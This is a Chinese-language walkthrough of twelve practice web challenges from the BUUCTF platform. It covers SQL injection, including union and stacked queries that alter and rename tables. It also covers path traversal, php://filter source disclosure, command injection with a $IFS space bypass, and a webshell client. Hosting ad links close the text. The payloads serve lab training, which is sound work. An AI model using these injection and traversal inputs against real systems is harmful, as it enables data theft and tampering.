1、[极客大挑战 2019]EasySQL 1
题目,页面很酷炫!
尝试一下万能密码
提交得到flag{a21e57ef-6b2f-443e-a2fa-74635e6ce5aa}
2、[极客大挑战 2019]Havefun 1
题目是很可爱的一只小猫
没有什么发现,F12检查一下
于是乎传参http://84ceb43a-fd23-433b-9e30-84c174fd9b94.node4.buuoj.cn:81/?cat=dog,得到flag{12983d17-c6f6-4fe9-923a-7e92576587e4}
3、[HCTF 2018]WarmUp 1
题目就是就是一个滑稽脸
再次用F12检查一下
访问http://64b3bbc6-4901-40d2-b509-380e65ecc938.node4.buuoj.cn:81/source.php
得到一些代码,其中有一个hint.php文件,继续访问
http://64b3bbc6-4901-40d2-b509-380e65ecc938.node4.buuoj.cn:81/hint.php
根据这个提示,再根据前面的代码,构造语句:http://64b3bbc6-4901-40d2-b509-380e65ecc938.node4.buuoj.cn:81/source.php?file=hint.php?../../../../../ffffllllaaaagggg,得到flag{d006b08c-c6a7-439b-87f6-259cbf8ca5cd}
4、[ACTF2020 新生赛]Include 1
题目:
点开
没有什么东西,但是url中像是文件包含,可以看出他是通过file伪文件打开了flag这个文件,既然存在这个文件,那么flag应该就在这个文件中,但是F12没有查看到内容,所以flag应该在flag.php的源代码中,可以利filter伪协议来查看flag源代码
构造payload:?file=php://filter/convert.base64-encode/resource=flag.php
,得到PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7MWQyMGNhOTgtYTg3NS00MTA2LTgwNWUtOThmZGZhMmI5OTBlfQo=,用base64解码,得到flag{1d20ca98-a875-4106-805e-98fdfa2b990e}
5、[ACTF2020 新生赛]Exec 1
一看到这个就想到了命令执行,于是构造payload
看到有一个flag文件,于是继续构造ping 1.1.1.1 & cat /flag,得到
flag{0aca7968-fe0f-4e13-b41e-329446007ceb}
6、[强网杯 2019]随便注 1
题目很明显是sql注入
同样也可以先看一下F12
说明让我们用手工注入
1′ and ‘1’=1#和1′ and ‘1’=2#两次显示不一样,说明是字符型注入,继续1′ order by 2#是正常的,但是1′ order by 3#就报错了,说明只有两列
接着判断注入点,发现select被过滤,所以要绕过,显然大小写不行,重写也不行,所以考虑堆叠注入
可以看到有两个表,继续查询0′; show columns from `1919810931114514`;#
继续查询0′; show columns from `words`;#
所以分析一波,实际数据库中有两个表,words和’1919810931114514‘,我们输入1,2这种数字返回给我们的是words表中的东西,而我们想要的在’1919810931114514‘表中,所以可以偷梁换柱,将words表中的id字段换成’1919810931114514‘表中的flag字段。所以构造
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);#
然后再输入1' or 1=1#
,得到
flag{ff1480a4-c8f8-472c-8f69-35bff69ce458}
7、[GXYCTF2019]Ping Ping Ping 1
再F12一下也没有什么东西
所以构造一下?ip=1
很像命令执行,所以考虑一下之前的命令/?ip=1 & ls /
需要过滤空格,所以换一种方式/?ip=1;ls
将空格进行替换,构造payload为/?ip=1;cat$IFS$1flag.php
发现把flag也替换掉了,于是继续替换/?ip=1;a=g;cat$IFSa.php,发现没什么东西,直到F12了一下,得到flag{ba9813dc-faac-4686-bf6d-d79352a691f1}
8、[SUCTF 2019]EasySQL 1
发现输入非0数字有回显,输入0和字符无回显,尝试使用堆叠注入
发现有一个flag表,所以flag很可能存在这个表里,继续查询这个表中的字段,1;show columns from Flag;
回显的是Nonono,说明把flag过来过滤掉了,尝试替换,但是都没有办法,后来看了大佬们的文章,才知道问题的关键,回到我们一开始,为什么输入非0 的有回显,那说明很可能用了||符号。
先了解一下||操作符:在MySQL中,操作符||表示“或”逻辑:
command1 || command2
c1和c2其中一侧为1则取1,否则取0
这里猜测后端语句,因为只有当我们输入非零数字时才会会显出1,而0和其他全都无回显,(这里很多大佬去查看的源码看到了||的使用,但我太拉跨,,实在找不到源码orz,,)而猜测逻辑大致是这样的:大胆猜测后端(内部查询语句)语句中有||操作符,只有我们输入非零数字才会满足||的逻辑为True从而进行回显的条件。也就是满足:select 输入的内容 || 一个列名 from 表名。(select 输入数据 || flag from Flag),所以我们可以尝试*,1,其代表的就是1就相当于构造了select *,1 || flag from Flag,这条语句执行起来相当于select *, 1 from Flag
为啥子咧,因为1||flag是个短路算法,直接输出1了
select *和select 所有列的意义相同,那么我们构造的select *,1 || flag from Flag ==select *,1 from Flag ,得到flag{98f53b57-c35b-4265-b688-9a0d30b5f2aa}
9、[极客大挑战 2019]Secret File 1
若没有什么思路,继续F12,发现有这样一个文件
访问一下
再访问一下,发现直接到达了end.php,所以要用Burp抓一下包,
得到secr3t.php,继续访问,给出了代码
所以构造payload:/secr3t.php?file=flag.php,结果!太调皮了
所以再次考虑filter伪协议,构造/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php,得到base64编码:
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7NmFkYjIxZDgtMWI3OS00MjIwLWJlNjEtZmM1NTMzMDJmNjkxfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=
解密得到flag{6adb21d8-1b79-4220-be61-fc553302f691}
10、[极客大挑战 2019]LoveSQL 1
显然这是上一个题的延续,我们再用万能密码:1′ or 1=1#,得到
说明有单引号注入,所以可以先查询列数,1′ order by 3#,发现3的时候正常显示,4的时候会报错,
所以有3列,利用union查询显示位(1′ union select 3,4,5#),
显示位为后两位,查询一下数据库名1′ union select 3,database(),3#
构造payload:1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
可以看出有两个表,需要一个个表查看
再看另一个表1′ union SELECT 1,2,GROUP_CONCAT(column_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x6c3076653179737131#
发现是一样的,然后查询字段,1′ union SELECT 1,2,GROUP_CONCAT(id,username,password SEPARATOR 0x3c62723e) FROM geek.l0ve1ysq1#,得到flag{744bc1ed-029a-475c-a0f4-5820cd6f9753}
11、[极客大挑战 2019]Http 1
是一个网站,继续F12,得到一个secret.php
访问之后得到
那我们就要去burp中抓包,跟着说明一步步做
12、[极客大挑战 2019]Knife 1
真是白给shell啊,直接用蚁剑
在根目录发现了flag,点击进去得到flag{f370eadf-cd12-47bc-9d21-549f609efa79}
服务器托管,北京服务器托管,服务器租用 http://www.fwqtg.net
机房租用,北京机房租用,IDC机房托管, http://www.e1idc.net